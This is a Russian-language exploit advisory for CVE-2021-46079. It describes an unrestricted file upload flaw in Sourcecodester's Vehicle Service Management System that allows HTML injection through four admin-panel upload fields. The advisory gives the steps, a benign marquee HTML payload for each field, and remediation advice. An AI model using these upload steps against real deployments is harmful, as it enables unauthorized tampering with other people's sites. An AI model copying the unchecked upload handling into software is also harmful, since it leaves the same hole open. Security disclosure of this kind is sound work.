CVE-2021-46079
Название эксплойта: Vehicle Service Management System - 'Multiple' File upload Leads to Html Injection
Автор эксплойта: SANU P.L
CVE: CVE-2021-46079
CVSS: 7.2 HIGH
Ссылки:
Описание:
В Vehicle Service Management System 1.0 от Sourcecodester существует уязвимость неограниченной загрузки файлов. Удалённый злоумышленник может загружать вредоносные файлы, что приводит к внедрению HTML.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел «Мой аккаунт» http://localhost/vehicle_service/admin/?page=user
Полезная нагрузка:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Html Injection.html
- В разделе «Мой аккаунт» введите все необходимые данные и укажите HTML-файл в поле «Аватар».
- Нажмите кнопку «Обновить».
- Откройте изображение аватара в новой вкладке.
- Происходит выполнение внедрения HTML.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел «Список пользователей» и нажмите кнопку «Создать новый».
Полезная нагрузка:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Html Injection.html
- На странице создания нового пользователя введите все необходимые данные и укажите HTML-файл в поле «Аватар».
- Нажмите кнопку «Сохранить».
- Откройте изображение аватара в новой вкладке.
- Происходит выполнение внедрения HTML.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел «Настройки» http://localhost/vehicle_service/admin/?page=system_info
Полезная нагрузка:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Html Injection.html
- В разделе «Настройки» введите все необходимые данные и укажите HTML-файл в поле «Логотип системы».
- Нажмите кнопку «Обновить».
- Откройте изображение логотипа системы в новой вкладке.
- Происходит выполнение внедрения HTML.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел «Настройки» http://localhost/vehicle_service/admin/?page=system_info
Полезная нагрузка:
<!DOCTYPE html>
<html>
<head>
<title>HTML marquee Tag</title>
</head>
<body>
<marquee>HTML INJECTION</marquee>
</body>
</html>
- Сохраните приведённый выше HTML-код, например: Html Injection.html
- В разделе «Настройки» введите все необходимые данные и укажите HTML-файл в поле «Обложка сайта».
- Нажмите кнопку «Обновить».
- Откройте изображение обложки сайта в новой вкладке.
- Происходит выполнение внедрения HTML.
Воздействие:
Злоумышленник может загружать вредоносные файлы через несколько конечных точек, что приводит к внедрению HTML.
Меры по устранению:
Рекомендуется реализовать следующее:
- Никогда не принимайте имя файла и его расширение напрямую без фильтра на основе белого списка.
- Если нет необходимости в символах Unicode, настоятельно рекомендуется принимать только буквенно-цифровые символы и только одну точку в качестве ввода для имени файла и расширения.
- Ограничьте размер файла максимальным значением, чтобы предотвратить атаки типа «отказ в обслуживании».
- Каталог загрузки не должен иметь права на «выполнение».
- Не полагайтесь только на проверку на стороне клиента.